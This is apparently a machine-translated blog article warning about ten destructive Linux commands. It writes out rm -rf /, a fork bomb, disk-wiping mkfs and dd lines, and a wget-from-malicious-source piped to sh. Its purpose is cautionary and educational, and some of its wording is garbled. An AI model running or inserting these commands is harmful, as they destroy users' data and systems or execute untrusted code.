Linux – 10 Most Dangerous Command in Linux

The Linux command line is useful, very efficient, and interesting, but sometimes it is dangerous, especially if you are not sure what you are doing.

This article will introduce you to ten orders, but you’d better not try to use it.

Of course, the following commands are usually in the root privileges to be stupid to play to the hopeless; in the ordinary user status, the destruction of their own one-third of the land.

1. rm -rf command 

The rm -rf command is one of the fastest ways to delete a folder and its contents.

Just a little bit of knocking or ignorance can lead to irreversible system collapse.

Here are some options for the rm command:

  • The rm command is usually used to remove files under Linux.
  • Rm -r command recursively delete the folder, or even empty folders.
  • The rm -f command can delete the ‘read-only file’ directly without asking. Linux delete the file does not care whether the file is read-only, but only concerned about whether the parent directory has write permission. So, -f this parameter only that do not have to delete a confirmation, but all quietly deleted. In addition, the original rm command is actually no delete prompt, but the general release will rm through the alias way to increase the-i parameter to ask to delete the confirmation, and-f is to suppress this prompt.
  • Rm -rf /: Forcibly delete all the stuff in the root directory.
  • Rm -rf *: Forcibly delete all files in the current directory.
  • Rm -rf.: Forcibly delete the current folder and its subfolders.

From now on, be careful when you want to execute the rm -rf command. We can create an rm -i alias for the ‘rm’ command in the “.bashrc” file to prevent an accident from deleting the file with the ‘rm’ command, which asks you to confirm each delete request. Note: Most of the distributions have already done so, if not, please do this, and be sure to do what you are doing before using the -f parameter! Translator’s own lesson.

2.: () {: |: &} ;: order

This is an example of a fork bomb.

The specific operation is to define a function called ‘:’, which will call itself twice, once in the foreground running in the background. It will be repeated until the system crashes.


3. command> / dev / sda

This command writes the output of a ‘command’ to the block device / dev / sda.

This operation replaces all the data blocks in the block device with the raw data written by the command, resulting in data loss for the entire block device.

4. mv folder / dev / null

This command will move a ‘folder’ to / dev / null.

In Linux the / dev / null or null device is a special file, and all the data written to it is cleared and then the write succeeds.

Of course, it should be noted that this command does not prevent data recovery software – so, really completely destroyed, need to use dedicated software or techniques to complete.


5. wget http: // malicious_source -O- | sh

The command will download a script from a (perhaps) malicious source and execute it.

The Wget command downloads the script, and sh will (unconditionally) execute the downloaded script.

Note: You should always pay attention to the source of your download package or script. You can only use scripts / programs that are downloaded from trusted sources.

6. mkfs.ext3 / dev / sda

The above command will format the block device ‘sda’. After executing this command, your block device (hard drive) will be formatted to directly get your system to an unrecoverable stage.

Usually we will not directly use / dev / sda such equipment, unless it is used as a raw device.

Sda is generally required to be divided into similar sda1, sda2 such a partition before use. Of course, whether you use sda ​​or sda1, so that the block device or partition mkfs are devastating, the above data will be evaporated.

7.> file

This command is often used to empty the contents of the file or record the command output.

But before the implementation of the confirmation of the output file is empty or does not exist, otherwise the original file can really not recover – even the data recovery software may not be able to help you.

You may really want to use the “>>”, that is, add a new output to the file, rather than refresh the file.

If you enter the wrong or ignorant input with the following “xt.conf” command to overwrite the configuration file or any other system configuration file.

8. ^ foo ^ bar

This command is used to edit previously running commands without having to re-hit the entire command.

When using the foobar command, if you do not thoroughly check the risk of changing the original command, this can lead to real trouble.

9. dd if = / dev / random of = / dev / sda

This command writes a random junk file to the block device sda ​​to erase the data so that your system may be in a chaotic and unrecoverable state.

Remember that the above mv to black hole and can not completely delete the data? Then this command is to give you a completely deleted method! Of course, for insurance purposes, you can override many times.

10. Hide the command

The following command is actually the first command above (rm-rf).

Where the code is hidden in hexadecimal, an ignorant user may be fooled, if the following command in the terminal may erase your root partition.

The real danger is hidden and will not be easily detected. You have to keep an eye on what you are doing.

Remember, do not compile / run code from unknown sources.


Today to bring you a command here to the end of the matter, please do not remember the server or other equipment on the random try ~

If you want to test them, please run on the virtual machine, or the file is lost or the system is not bad.

Leave a Reply

Your email address will not be published. Required fields are marked *